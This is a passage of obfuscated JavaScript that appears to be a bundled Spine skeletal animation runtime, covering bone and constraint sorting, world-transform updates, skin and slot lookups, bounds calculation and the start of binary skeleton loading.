0x0; _0x20fd91 < _0xeb3b3d; _0x20fd91++) { for (let _0x28562f = 0x0; _0x28562f < _0x87896b; _0x28562f++) { let _0x45c017 = _0x144c27[_0x28562f]; if (_0x45c017['data']['order'] == _0x20fd91) { this['sortIkConstraint'](_0x45c017); continue _0x13dd5b; } } for (let _0x4e3116 = 0x0; _0x4e3116 < _0xd27761; _0x4e3116++) { let _0x5aa668 = _0x41a867[_0x4e3116]; if (_0x5aa668['data']['order'] == _0x20fd91) { this['sortTransformConstraint'](_0x5aa668); continue _0x13dd5b; } } for (let _0x104d9c = 0x0; _0x104d9c < _0x476201; _0x104d9c++) { let _0x62c4a3 = _0x3bb7a0[_0x104d9c]; if (_0x62c4a3['data']['order'] == _0x20fd91) { this['sortPathConstraint'](_0x62c4a3); continue _0x13dd5b; } } } for (let _0x3af570 = 0x0, _0x4602a1 = _0x3bce68['length']; _0x3af570 < _0x4602a1; _0x3af570++)this['sortBone'](_0x3bce68[_0x3af570]); } ['sortIkConstraint'](_0xe8b211) { if (_0xe8b211['active'] = _0xe8b211['target']['isActive']() && (!_0xe8b211['data']['skinRequired'] || this['skin'] && _0x380bba['contains'](this['skin']['constraints'], _0xe8b211['data'], !0x0)), !_0xe8b211['active']) return; let _0x186802 = _0xe8b211['target']; this['sortBone'](_0x186802); let _0x21bf33 = _0xe8b211['bones'], _0x5258c4 = _0x21bf33[0x0]; if (this['sortBone'](_0x5258c4), 0x1 == _0x21bf33['length']) this['_updateCache']['push'](_0xe8b211), this['sortReset'](_0x5258c4['children']); else { let _0x452ce3 = _0x21bf33[_0x21bf33['length'] - 0x1]; this['sortBone'](_0x452ce3), this['_updateCache']['push'](_0xe8b211), this['sortReset'](_0x5258c4['children']), _0x452ce3['sorted'] = !0x0; } } ['sortPathConstraint'](_0x2c3238) { if (_0x2c3238['active'] = _0x2c3238['target']['bone']['isActive']() && (!_0x2c3238['data']['skinRequired'] || this['skin'] && _0x380bba['contains'](this['skin']['constraints'], _0x2c3238['data'], !0x0)), !_0x2c3238['active']) return; let _0x3e413b = _0x2c3238['target'], _0x202602 = _0x3e413b['data']['index'], _0x2a83bd = _0x3e413b['bone']; this['skin'] && this['sortPathConstraintAttachment'](this['skin'], _0x202602, _0x2a83bd), this['data']['defaultSkin'] && this['data']['defaultSkin'] != this['skin'] && this['sortPathConstraintAttachment'](this['data']['defaultSkin'], _0x202602, _0x2a83bd); for (let _0x2a54e8 = 0x0, _0x13020f = this['data']['skins']['length']; _0x2a54e8 < _0x13020f; _0x2a54e8++)this['sortPathConstraintAttachment'](this['data']['skins'][_0x2a54e8], _0x202602, _0x2a83bd); let _0x127a81 = _0x3e413b['getAttachment'](); _0x127a81 instanceof _0x7433b6 && this['sortPathConstraintAttachmentWith'](_0x127a81, _0x2a83bd); let _0x49e497 = _0x2c3238['bones'], _0x4e947f = _0x49e497['length']; for (let _0xbe6245 = 0x0; _0xbe6245 < _0x4e947f; _0xbe6245++)this['sortBone'](_0x49e497[_0xbe6245]); this['_updateCache']['push'](_0x2c3238); for (let _0x1889c4 = 0x0; _0x1889c4 < _0x4e947f; _0x1889c4++)this['sortReset'](_0x49e497[_0x1889c4]['children']); for (let _0x11bd9e = 0x0; _0x11bd9e < _0x4e947f; _0x11bd9e++)_0x49e497[_0x11bd9e]['sorted'] = !0x0; } ['sortTransformConstraint'](_0x552fdb) { if (_0x552fdb['active'] = _0x552fdb['target']['isActive']() && (!_0x552fdb['data']['skinRequired'] || this['skin'] && _0x380bba['contains'](this['skin']['constraints'], _0x552fdb['data'], !0x0)), !_0x552fdb['active']) return; this['sortBone'](_0x552fdb['target']); let _0x364d6a = _0x552fdb['bones'], _0x1a15d7 = _0x364d6a['length']; if (_0x552fdb['data']['local']) for (let _0x7c73de = 0x0; _0x7c73de < _0x1a15d7; _0x7c73de++) { let _0x59935b = _0x364d6a[_0x7c73de]; this['sortBone'](_0x59935b['parent']), this['sortBone'](_0x59935b); } else { for (let _0x4e8e49 = 0x0; _0x4e8e49 < _0x1a15d7; _0x4e8e49++)this['sortBone'](_0x364d6a[_0x4e8e49]); } this['_updateCache']['push'](_0x552fdb); for (let _0x11825c = 0x0; _0x11825c < _0x1a15d7; _0x11825c++)this['sortReset'](_0x364d6a[_0x11825c]['children']); for (let _0x154b7b = 0x0; _0x154b7b < _0x1a15d7; _0x154b7b++)_0x364d6a[_0x154b7b]['sorted'] = !0x0; } ['sortPathConstraintAttachment'](_0x548580, _0xbcf2c3, _0x19d8fb) { let _0x81875a = _0x548580['attachments'][_0xbcf2c3]; if (_0x81875a) { for (let _0x253ec8 in _0x81875a) this['sortPathConstraintAttachmentWith'](_0x81875a[_0x253ec8], _0x19d8fb); } } ['sortPathConstraintAttachmentWith'](_0x384c00, _0x4bce12) { if (!(_0x384c00 instanceof _0x7433b6)) return; let _0x5bf7f5 = _0x384c00['bones']; if (_0x5bf7f5) { let _0x4ab185 = this['bones']; for (let _0x4051a2 = 0x0, _0x27e232 = _0x5bf7f5['length']; _0x4051a2 < _0x27e232;) { let _0x4dfcde = _0x5bf7f5[_0x4051a2++]; for (_0x4dfcde += _0x4051a2; _0x4051a2 < _0x4dfcde;)this['sortBone'](_0x4ab185[_0x5bf7f5[_0x4051a2++]]); } } else this['sortBone'](_0x4bce12); } ['sortBone'](_0x31dc17) { if (!_0x31dc17) return; if (_0x31dc17['sorted']) return; let _0x5555b3 = _0x31dc17['parent']; _0x5555b3 && this['sortBone'](_0x5555b3), _0x31dc17['sorted'] = !0x0, this['_updateCache']['push'](_0x31dc17); } ['sortReset'](_0x3c6310) { for (let _0x5de369 = 0x0, _0x41d102 = _0x3c6310['length']; _0x5de369 < _0x41d102; _0x5de369++) { let _0x353bc1 = _0x3c6310[_0x5de369]; _0x353bc1['active'] && (_0x353bc1['sorted'] && this['sortReset'](_0x353bc1['children']), _0x353bc1['sorted'] = !0x1); } } ['updateWorldTransform']() { let _0x63f9f1 = this['bones']; for (let _0x530e03 = 0x0, _0x13dec3 = _0x63f9f1['length']; _0x530e03 < _0x13dec3; _0x530e03++) { let _0x5ce579 = _0x63f9f1[_0x530e03]; _0x5ce579['ax'] = _0x5ce579['x'], _0x5ce579['ay'] = _0x5ce579['y'], _0x5ce579['arotation'] = _0x5ce579['rotation'], _0x5ce579['ascaleX'] = _0x5ce579['scaleX'], _0x5ce579['ascaleY'] = _0x5ce579['scaleY'], _0x5ce579['ashearX'] = _0x5ce579['shearX'], _0x5ce579['ashearY'] = _0x5ce579['shearY']; } let _0xc07e94 = this['_updateCache']; for (let _0x4e86c4 = 0x0, _0x28c80b = _0xc07e94['length']; _0x4e86c4 < _0x28c80b; _0x4e86c4++)_0xc07e94[_0x4e86c4]['update'](); } ['updateWorldTransformWith'](_0x339696) { let _0x36ea16 = this['getRootBone'](); if (!_0x36ea16) throw new Error('Root\x20bone\x20must\x20not\x20be\x20null.'); let _0x2bcfa4 = _0x339696['a'], _0x508ef7 = _0x339696['b'], _0xbca5d8 = _0x339696['c'], _0x360c15 = _0x339696['d']; _0x36ea16['worldX'] = _0x2bcfa4 * this['x'] + _0x508ef7 * this['y'] + _0x339696['worldX'], _0x36ea16['worldY'] = _0xbca5d8 * this['x'] + _0x360c15 * this['y'] + _0x339696['worldY']; let _0x2482f2 = _0x36ea16['rotation'] + 0x5a + _0x36ea16['shearY'], _0x26cf99 = _0xbc125['cosDeg'](_0x36ea16['rotation'] + _0x36ea16['shearX']) * _0x36ea16['scaleX'], _0x120fb0 = _0xbc125['cosDeg'](_0x2482f2) * _0x36ea16['scaleY'], _0x9c795 = _0xbc125['sinDeg'](_0x36ea16['rotation'] + _0x36ea16['shearX']) * _0x36ea16['scaleX'], _0x3e57e6 = _0xbc125['sinDeg'](_0x2482f2) * _0x36ea16['scaleY']; _0x36ea16['a'] = (_0x2bcfa4 * _0x26cf99 + _0x508ef7 * _0x9c795) * this['scaleX'], _0x36ea16['b'] = (_0x2bcfa4 * _0x120fb0 + _0x508ef7 * _0x3e57e6) * this['scaleX'], _0x36ea16['c'] = (_0xbca5d8 * _0x26cf99 + _0x360c15 * _0x9c795) * this['scaleY'], _0x36ea16['d'] = (_0xbca5d8 * _0x120fb0 + _0x360c15 * _0x3e57e6) * this['scaleY']; let _0x5708e1 = this['_updateCache']; for (let _0x9368a3 = 0x0, _0x1d5b79 = _0x5708e1['length']; _0x9368a3 < _0x1d5b79; _0x9368a3++) { let _0x349d47 = _0x5708e1[_0x9368a3]; _0x349d47 != _0x36ea16 && _0x349d47['update'](); } } ['setToSetupPose']() { this['setBonesToSetupPose'](), this['setSlotsToSetupPose'](); } ['setBonesToSetupPose']() { let _0x430917 = this['bones']; for (let _0x33b3f8 = 0x0, _0x559ffc = _0x430917['length']; _0x33b3f8 < _0x559ffc; _0x33b3f8++)_0x430917[_0x33b3f8]['setToSetupPose'](); let _0x20df84 = this['ikConstraints']; for (let _0x4fb554 = 0x0, _0x48efd2 = _0x20df84['length']; _0x4fb554 < _0x48efd2; _0x4fb554++) { let _0x2d6768 = _0x20df84[_0x4fb554]; _0x2d6768['mix'] = _0x2d6768['data']['mix'], _0x2d6768['softness'] = _0x2d6768['data']['softness'], _0x2d6768['bendDirection'] = _0x2d6768['data']['bendDirection'], _0x2d6768['compress'] = _0x2d6768['data']['compress'], _0x2d6768['stretch'] = _0x2d6768['data']['stretch']; } let _0x25ab6e = this['transformConstraints']; for (let _0x3eae82 = 0x0, _0x556098 = _0x25ab6e['length']; _0x3eae82 < _0x556098; _0x3eae82++) { let _0x36a59f = _0x25ab6e[_0x3eae82], _0xfc7bd1 = _0x36a59f['data']; _0x36a59f['mixRotate'] = _0xfc7bd1['mixRotate'], _0x36a59f['mixX'] = _0xfc7bd1['mixX'], _0x36a59f['mixY'] = _0xfc7bd1['mixY'], _0x36a59f['mixScaleX'] = _0xfc7bd1['mixScaleX'], _0x36a59f['mixScaleY'] = _0xfc7bd1['mixScaleY'], _0x36a59f['mixShearY'] = _0xfc7bd1['mixShearY']; } let _0x5c3dc7 = this['pathConstraints']; for (let _0x370564 = 0x0, _0x446857 = _0x5c3dc7['length']; _0x370564 < _0x446857; _0x370564++) { let _0x3f609d = _0x5c3dc7[_0x370564], _0x4f9d64 = _0x3f609d['data']; _0x3f609d['position'] = _0x4f9d64['position'], _0x3f609d['spacing'] = _0x4f9d64['spacing'], _0x3f609d['mixRotate'] = _0x4f9d64['mixRotate'], _0x3f609d['mixX'] = _0x4f9d64['mixX'], _0x3f609d['mixY'] = _0x4f9d64['mixY']; } } ['setSlotsToSetupPose']() { let _0x28e2f7 = this['slots']; _0x380bba['arrayCopy'](_0x28e2f7, 0x0, this['drawOrder'], 0x0, _0x28e2f7['length']); for (let _0x579cbf = 0x0, _0x58936a = _0x28e2f7['length']; _0x579cbf < _0x58936a; _0x579cbf++)_0x28e2f7[_0x579cbf]['setToSetupPose'](); } ['getRootBone']() { return 0x0 == this['bones']['length'] ? null : this['bones'][0x0]; } ['findBone'](_0x3b2c63) { if (!_0x3b2c63) throw new Error('boneName\x20cannot\x20be\x20null.'); let _0x35d783 = this['bones']; for (let _0x3db2fa = 0x0, _0x334ee7 = _0x35d783['length']; _0x3db2fa < _0x334ee7; _0x3db2fa++) { let _0x212759 = _0x35d783[_0x3db2fa]; if (_0x212759['data']['name'] == _0x3b2c63) return _0x212759; } return null; } ['findSlot'](_0x2158b8) { if (!_0x2158b8) throw new Error('slotName\x20cannot\x20be\x20null.'); let _0x14f3f8 = this['slots']; for (let _0x263214 = 0x0, _0x23d15f = _0x14f3f8['length']; _0x263214 < _0x23d15f; _0x263214++) { let _0x31439a = _0x14f3f8[_0x263214]; if (_0x31439a['data']['name'] == _0x2158b8) return _0x31439a; } return null; } ['setSkinByName'](_0x24c483) { let _0xb1b799 = this['data']['findSkin'](_0x24c483); if (!_0xb1b799) throw new Error('Skin\x20not\x20found:\x20' + _0x24c483); this['setSkin'](_0xb1b799); } ['setSkin'](_0x2c095d) { if (_0x2c095d != this['skin']) { if (_0x2c095d) { if (this['skin']) _0x2c095d['attachAll'](this, this['skin']); else { let _0x38050a = this['slots']; for (let _0x4994f7 = 0x0, _0x1bd861 = _0x38050a['length']; _0x4994f7 < _0x1bd861; _0x4994f7++) { let _0x330ab5 = _0x38050a[_0x4994f7], _0x1b6fe6 = _0x330ab5['data']['attachmentName']; if (_0x1b6fe6) { let _0x43af56 = _0x2c095d['getAttachment'](_0x4994f7, _0x1b6fe6); _0x43af56 && _0x330ab5['setAttachment'](_0x43af56); } } } } this['skin'] = _0x2c095d, this['updateCache'](); } } ['getAttachmentByName'](_0x1ffc3d, _0x39f9e0) { let _0x4a3447 = this['data']['findSlot'](_0x1ffc3d); if (!_0x4a3447) throw new Error('Can\x27t\x20find\x20slot\x20with\x20name\x20' + _0x1ffc3d); return this['getAttachment'](_0x4a3447['index'], _0x39f9e0); } ['getAttachment'](_0x5967d6, _0xd9561d) { if (!_0xd9561d) throw new Error('attachmentName\x20cannot\x20be\x20null.'); if (this['skin']) { let _0xfa7275 = this['skin']['getAttachment'](_0x5967d6, _0xd9561d); if (_0xfa7275) return _0xfa7275; } return this['data']['defaultSkin'] ? this['data']['defaultSkin']['getAttachment'](_0x5967d6, _0xd9561d) : null; } ['setAttachment'](_0x5957fb, _0x224c1e) { if (!_0x5957fb) throw new Error('slotName\x20cannot\x20be\x20null.'); let _0x568143 = this['slots']; for (let _0x3855e2 = 0x0, _0x7327ff = _0x568143['length']; _0x3855e2 < _0x7327ff; _0x3855e2++) { let _0x196335 = _0x568143[_0x3855e2]; if (_0x196335['data']['name'] == _0x5957fb) { let _0x98a55f = null; if (_0x224c1e && (_0x98a55f = this['getAttachment'](_0x3855e2, _0x224c1e), !_0x98a55f)) throw new Error('Attachment\x20not\x20found:\x20' + _0x224c1e + ',\x20for\x20slot:\x20' + _0x5957fb); return void _0x196335['setAttachment'](_0x98a55f); } } throw new Error('Slot\x20not\x20found:\x20' + _0x5957fb); } ['findIkConstraint'](_0x58928c) { if (!_0x58928c) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x1eed2b = this['ikConstraints']; for (let _0x2be2a7 = 0x0, _0x12b856 = _0x1eed2b['length']; _0x2be2a7 < _0x12b856; _0x2be2a7++) { let _0x2dd49c = _0x1eed2b[_0x2be2a7]; if (_0x2dd49c['data']['name'] == _0x58928c) return _0x2dd49c; } return null; } ['findTransformConstraint'](_0x2e2b17) { if (!_0x2e2b17) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x4f2fc2 = this['transformConstraints']; for (let _0xb1cf69 = 0x0, _0x31de87 = _0x4f2fc2['length']; _0xb1cf69 < _0x31de87; _0xb1cf69++) { let _0x24fb25 = _0x4f2fc2[_0xb1cf69]; if (_0x24fb25['data']['name'] == _0x2e2b17) return _0x24fb25; } return null; } ['findPathConstraint'](_0x1abc9c) { if (!_0x1abc9c) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x421359 = this['pathConstraints']; for (let _0x12d475 = 0x0, _0x3685c6 = _0x421359['length']; _0x12d475 < _0x3685c6; _0x12d475++) { let _0x3240ef = _0x421359[_0x12d475]; if (_0x3240ef['data']['name'] == _0x1abc9c) return _0x3240ef; } return null; } ['getBoundsRect']() { let _0x51cfb8 = new _0x47b9a5(), _0xa362d5 = new _0x47b9a5(); return this['getBounds'](_0x51cfb8, _0xa362d5), { 'x': _0x51cfb8['x'], 'y': _0x51cfb8['y'], 'width': _0xa362d5['x'], 'height': _0xa362d5['y'] }; } ['getBounds'](_0x54b85d, _0x57bdfa, _0x23aa39 = new Array(0x2)) { if (!_0x54b85d) throw new Error('offset\x20cannot\x20be\x20null.'); if (!_0x57bdfa) throw new Error('size\x20cannot\x20be\x20null.'); let _0x45535f = this['drawOrder'], _0x11e115 = Number['POSITIVE_INFINITY'], _0x5ab4c1 = Number['POSITIVE_INFINITY'], _0x578494 = Number['NEGATIVE_INFINITY'], _0x8c30c2 = Number['NEGATIVE_INFINITY']; for (let _0x28e50b = 0x0, _0x10c7e1 = _0x45535f['length']; _0x28e50b < _0x10c7e1; _0x28e50b++) { let _0x26862a = _0x45535f[_0x28e50b]; if (!_0x26862a['bone']['active']) continue; let _0x26dc10 = 0x0, _0x56f92e = null, _0x452ed = _0x26862a['getAttachment'](); if (_0x452ed instanceof _0x4c00b5) _0x26dc10 = 0x8, _0x56f92e = _0x380bba['setArraySize'](_0x23aa39, _0x26dc10, 0x0), _0x452ed['computeWorldVertices'](_0x26862a, _0x56f92e, 0x0, 0x2); else { if (_0x452ed instanceof _0x144c75) { let _0x4412b7 = _0x452ed; _0x26dc10 = _0x4412b7['worldVerticesLength'], _0x56f92e = _0x380bba['setArraySize'](_0x23aa39, _0x26dc10, 0x0), _0x4412b7['computeWorldVertices'](_0x26862a, 0x0, _0x26dc10, _0x56f92e, 0x0, 0x2); } } if (_0x56f92e) for (let _0x54b891 = 0x0, _0x3ca5c5 = _0x56f92e['length']; _0x54b891 < _0x3ca5c5; _0x54b891 += 0x2) { let _0x27a5fa = _0x56f92e[_0x54b891], _0x559202 = _0x56f92e[_0x54b891 + 0x1]; _0x11e115 = Math['min'](_0x11e115, _0x27a5fa), _0x5ab4c1 = Math['min'](_0x5ab4c1, _0x559202), _0x578494 = Math['max'](_0x578494, _0x27a5fa), _0x8c30c2 = Math['max'](_0x8c30c2, _0x559202); } } _0x54b85d['set'](_0x11e115, _0x5ab4c1), _0x57bdfa['set'](_0x578494 - _0x11e115, _0x8c30c2 - _0x5ab4c1); } }, _0x162b4c = _0xa0e7c2; _0x162b4c['yDown'] = !0x1; var _0x487383 = class { constructor() { this['name'] = null, this['bones'] = new Array(), this['slots'] = new Array(), this['skins'] = new Array(), this['defaultSkin'] = null, this['events'] = new Array(), this['animations'] = new Array(), this['ikConstraints'] = new Array(), this['transformConstraints'] = new Array(), this['pathConstraints'] = new Array(), this['x'] = 0x0, this['y'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['version'] = null, this['hash'] = null, this['fps'] = 0x0, this['imagesPath'] = null, this['audioPath'] = null; } ['findBone'](_0x125e84) { if (!_0x125e84) throw new Error('boneName\x20cannot\x20be\x20null.'); let _0x23b29a = this['bones']; for (let _0x1685f4 = 0x0, _0x424bca = _0x23b29a['length']; _0x1685f4 < _0x424bca; _0x1685f4++) { let _0x24c15f = _0x23b29a[_0x1685f4]; if (_0x24c15f['name'] == _0x125e84) return _0x24c15f; } return null; } ['findSlot'](_0x34386b) { if (!_0x34386b) throw new Error('slotName\x20cannot\x20be\x20null.'); let _0x2698ec = this['slots']; for (let _0x563d9b = 0x0, _0x286acd = _0x2698ec['length']; _0x563d9b < _0x286acd; _0x563d9b++) { let _0x4d77aa = _0x2698ec[_0x563d9b]; if (_0x4d77aa['name'] == _0x34386b) return _0x4d77aa; } return null; } ['findSkin'](_0x5386e3) { if (!_0x5386e3) throw new Error('skinName\x20cannot\x20be\x20null.'); let _0x8c20a2 = this['skins']; for (let _0x515aef = 0x0, _0x5383bf = _0x8c20a2['length']; _0x515aef < _0x5383bf; _0x515aef++) { let _0x4716b7 = _0x8c20a2[_0x515aef]; if (_0x4716b7['name'] == _0x5386e3) return _0x4716b7; } return null; } ['findEvent'](_0x2a3151) { if (!_0x2a3151) throw new Error('eventDataName\x20cannot\x20be\x20null.'); let _0x481f14 = this['events']; for (let _0x3b6dc7 = 0x0, _0x6794 = _0x481f14['length']; _0x3b6dc7 < _0x6794; _0x3b6dc7++) { let _0x21856b = _0x481f14[_0x3b6dc7]; if (_0x21856b['name'] == _0x2a3151) return _0x21856b; } return null; } ['findAnimation'](_0x51414e) { if (!_0x51414e) throw new Error('animationName\x20cannot\x20be\x20null.'); let _0x56ad08 = this['animations']; for (let _0x41fb87 = 0x0, _0x51c06e = _0x56ad08['length']; _0x41fb87 < _0x51c06e; _0x41fb87++) { let _0x42eb4b = _0x56ad08[_0x41fb87]; if (_0x42eb4b['name'] == _0x51414e) return _0x42eb4b; } return null; } ['findIkConstraint'](_0x1652b0) { if (!_0x1652b0) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x53dec5 = this['ikConstraints']; for (let _0x13d3e5 = 0x0, _0x524258 = _0x53dec5['length']; _0x13d3e5 < _0x524258; _0x13d3e5++) { let _0x322588 = _0x53dec5[_0x13d3e5]; if (_0x322588['name'] == _0x1652b0) return _0x322588; } return null; } ['findTransformConstraint'](_0x3f898c) { if (!_0x3f898c) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x55b771 = this['transformConstraints']; for (let _0x52cbef = 0x0, _0x432331 = _0x55b771['length']; _0x52cbef < _0x432331; _0x52cbef++) { let _0x46f6b4 = _0x55b771[_0x52cbef]; if (_0x46f6b4['name'] == _0x3f898c) return _0x46f6b4; } return null; } ['findPathConstraint'](_0x2314ef) { if (!_0x2314ef) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0xbb2067 = this['pathConstraints']; for (let _0x4e47fc = 0x0, _0x2b22f0 = _0xbb2067['length']; _0x4e47fc < _0x2b22f0; _0x4e47fc++) { let _0x1aae08 = _0xbb2067[_0x4e47fc]; if (_0x1aae08['name'] == _0x2314ef) return _0x1aae08; } return null; } }, _0xe565b = class { constructor(_0x1d944e = 0x0, _0x4d4949, _0x3e7e53) { this['slotIndex'] = _0x1d944e, this['name'] = _0x4d4949, this['attachment'] = _0x3e7e53; } }, _0x511113 = class { constructor(_0x5e6ff0) { if (this['attachments'] = new Array(), this['bones'] = Array(), this['constraints'] = new Array(), !_0x5e6ff0) throw new Error('name\x20cannot\x20be\x20null.'); this['name'] = _0x5e6ff0; } ['setAttachment'](_0x28e579, _0x499478, _0x8e400c) { if (!_0x8e400c) throw new Error('attachment\x20cannot\x20be\x20null.'); let _0x12e8c4 = this['attachments']; _0x28e579 >= _0x12e8c4['length'] && (_0x12e8c4['length'] = _0x28e579 + 0x1), _0x12e8c4[_0x28e579] || (_0x12e8c4[_0x28e579] = {}), _0x12e8c4[_0x28e579][_0x499478] = _0x8e400c; } ['addSkin'](_0x448d6a) { for (let _0x3487e5 = 0x0; _0x3487e5 < _0x448d6a['bones']['length']; _0x3487e5++) { let _0x1cfb17 = _0x448d6a['bones'][_0x3487e5], _0x43819c = !0x1; for (let _0x4cdc43 = 0x0; _0x4cdc43 < this['bones']['length']; _0x4cdc43++)if (this['bones'][_0x4cdc43] == _0x1cfb17) { _0x43819c = !0x0; break; } _0x43819c || this['bones']['push'](_0x1cfb17); } for (let _0x4f8626 = 0x0; _0x4f8626 < _0x448d6a['constraints']['length']; _0x4f8626++) { let _0x5747dd = _0x448d6a['constraints'][_0x4f8626], _0x2bd396 = !0x1; for (let _0x4f3c4e = 0x0; _0x4f3c4e < this['constraints']['length']; _0x4f3c4e++)if (this['constraints'][_0x4f3c4e] == _0x5747dd) { _0x2bd396 = !0x0; break; } _0x2bd396 || this['constraints']['push'](_0x5747dd); } let _0x18157a = _0x448d6a['getAttachments'](); for (let _0x42c9aa = 0x0; _0x42c9aa < _0x18157a['length']; _0x42c9aa++) { var _0x535555 = _0x18157a[_0x42c9aa]; this['setAttachment'](_0x535555['slotIndex'], _0x535555['name'], _0x535555['attachment']); } } ['copySkin'](_0x141baa) { for (let _0x2ed2ac = 0x0; _0x2ed2ac < _0x141baa['bones']['length']; _0x2ed2ac++) { let _0x831c37 = _0x141baa['bones'][_0x2ed2ac], _0x337253 = !0x1; for (let _0x24f268 = 0x0; _0x24f268 < this['bones']['length']; _0x24f268++)if (this['bones'][_0x24f268] == _0x831c37) { _0x337253 = !0x0; break; } _0x337253 || this['bones']['push'](_0x831c37); } for (let _0x274d9f = 0x0; _0x274d9f < _0x141baa['constraints']['length']; _0x274d9f++) { let _0x4dc9ee = _0x141baa['constraints'][_0x274d9f], _0xecff7e = !0x1; for (let _0x39a0af = 0x0; _0x39a0af < this['constraints']['length']; _0x39a0af++)if (this['constraints'][_0x39a0af] == _0x4dc9ee) { _0xecff7e = !0x0; break; } _0xecff7e || this['constraints']['push'](_0x4dc9ee); } let _0x496c08 = _0x141baa['getAttachments'](); for (let _0x25d1a7 = 0x0; _0x25d1a7 < _0x496c08['length']; _0x25d1a7++) { var _0x559e19 = _0x496c08[_0x25d1a7]; _0x559e19['attachment'] && (_0x559e19['attachment'] instanceof _0x144c75 ? (_0x559e19['attachment'] = _0x559e19['attachment']['newLinkedMesh'](), this['setAttachment'](_0x559e19['slotIndex'], _0x559e19['name'], _0x559e19['attachment'])) : (_0x559e19['attachment'] = _0x559e19['attachment']['copy'](), this['setAttachment'](_0x559e19['slotIndex'], _0x559e19['name'], _0x559e19['attachment']))); } } ['getAttachment'](_0x14f5da, _0x22b480) { let _0x3d7704 = this['attachments'][_0x14f5da]; return _0x3d7704 ? _0x3d7704[_0x22b480] : null; } ['removeAttachment'](_0x26e5ec, _0x3125d4) { let _0x442034 = this['attachments'][_0x26e5ec]; _0x442034 && delete _0x442034[_0x3125d4]; } ['getAttachments']() { let _0x661349 = new Array(); for (var _0x38c76f = 0x0; _0x38c76f < this['attachments']['length']; _0x38c76f++) { let _0x527aeb = this['attachments'][_0x38c76f]; if (_0x527aeb) for (let _0x319c74 in _0x527aeb) { let _0x375596 = _0x527aeb[_0x319c74]; _0x375596 && _0x661349['push'](new _0xe565b(_0x38c76f, _0x319c74, _0x375596)); } } return _0x661349; } ['getAttachmentsForSlot'](_0x223453, _0x166ae0) { let _0x2e45ad = this['attachments'][_0x223453]; if (_0x2e45ad) for (let _0x286c1a in _0x2e45ad) { let _0x4a3604 = _0x2e45ad[_0x286c1a]; _0x4a3604 && _0x166ae0['push'](new _0xe565b(_0x223453, _0x286c1a, _0x4a3604)); } } ['clear']() { this['attachments']['length'] = 0x0, this['bones']['length'] = 0x0, this['constraints']['length'] = 0x0; } ['attachAll'](_0x4cb299, _0x4d6301) { let _0x16e699 = 0x0; for (let _0x3b0996 = 0x0; _0x3b0996 < _0x4cb299['slots']['length']; _0x3b0996++) { let _0x18b83e = _0x4cb299['slots'][_0x3b0996], _0x2286aa = _0x18b83e['getAttachment'](); if (_0x2286aa && _0x16e699 < _0x4d6301['attachments']['length']) { let _0x24a638 = _0x4d6301['attachments'][_0x16e699]; for (let _0x2e066d in _0x24a638) { if (_0x2286aa == _0x24a638[_0x2e066d]) { let _0x3ac1fa = this['getAttachment'](_0x16e699, _0x2e066d); _0x3ac1fa && _0x18b83e['setAttachment'](_0x3ac1fa); break; } } } _0x16e699++; } } }, _0x4bf8d9 = class { constructor(_0x35e59c, _0x44331b, _0x5431d2) { if (this['index'] = 0x0, this['color'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1), this['darkColor'] = null, this['attachmentName'] = null, this['blendMode'] = _0x1dac33['Normal'], _0x35e59c < 0x0) throw new Error('index\x20must\x20be\x20>=\x200.'); if (!_0x44331b) throw new Error('name\x20cannot\x20be\x20null.'); if (!_0x5431d2) throw new Error('boneData\x20cannot\x20be\x20null.'); this['index'] = _0x35e59c, this['name'] = _0x44331b, this['boneData'] = _0x5431d2; } }, _0x1dac33 = (_0x13dd6d => (_0x13dd6d[_0x13dd6d['Normal'] = 0x0] = 'Normal', _0x13dd6d[_0x13dd6d['Additive'] = 0x1] = 'Additive', _0x13dd6d[_0x13dd6d['Multiply'] = 0x2] = 'Multiply', _0x13dd6d[_0x13dd6d['Screen'] = 0x3] = 'Screen', _0x13dd6d))(_0x1dac33 || {}), _0xab12f5 = class extends _0x3a187e { constructor(_0x70b8a9) { super(_0x70b8a9, 0x0, !0x1), this['bones'] = new Array(), this['_target'] = null, this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0, this['mixScaleX'] = 0x0, this['mixScaleY'] = 0x0, this['mixShearY'] = 0x0, this['offsetRotation'] = 0x0, this['offsetX'] = 0x0, this['offsetY'] = 0x0, this['offsetScaleX'] = 0x0, this['offsetScaleY'] = 0x0, this['offsetShearY'] = 0x0, this['relative'] = !0x1, this['local'] = !0x1; } set ['target'](_0xad9cf2) { this['_target'] = _0xad9cf2; } get ['target']() { if (this['_target']) return this['_target']; throw new Error('BoneData\x20not\x20set.'); } }, _0x11cc06 = class { constructor(_0x189432) { this['scale'] = 0x1, this['linkedMeshes'] = new Array(), this['attachmentLoader'] = _0x189432; } ['readSkeletonData'](_0x435135) { let _0x576318 = this['scale'], _0x2e6fd3 = new _0x487383(); _0x2e6fd3['name'] = ''; let _0x3c03f2 = new _0xf7c11c(_0x435135), _0x53acb9 = _0x3c03f2['readInt32'](), _0x192bba = _0x3c03f2['readInt32'](); _0x2e6fd3['hash'] = 0x0 == _0x192bba && 0x0 == _0x53acb9 ? null : _0x192bba['toString'](0x10) + _0x53acb9['toString'](0x10), _0x2e6fd3['version'] = _0x3c03f2['readString'](), _0x2e6fd3['x'] = _0x3c03f2['readFloat'](), _0x2e6fd3['y'] = _0x3c03f2['readFloat'](), _0x2e6fd3['width'] = _0x3c03f2['readFloat'](), _0x2e6fd3['height'] = _0x3c03f2['readFloat'](); let _0x28ee8b = _0x3c03f2['readBoolean'](); _0x28ee8b && (_0x2e6fd3['fps'] = _0x3c03f2['readFloat'](), _0x2e6fd3['imagesPath'] = _0x3c03f2['readString'](), _0x2e6fd3['audioPath'] = _0x3c03f2['readString']()); let _0x22a0ec = 0x0; _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x542bfd = 0x0; _0x542bfd < _0x22a0ec; _0x542bfd++) { let _0x3e7e89 = _0x3c03f2['readString'](); if (!_0x3e7e89) throw new Error('String\x20in\x20string\x20table\x20must\x20not\x20be\x20null.'); _0x3c03f2['strings']['push'](_0x3e7e89); } _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x3e1589 = 0x0; _0x3e1589 < _0x22a0ec; _0x3e1589++) 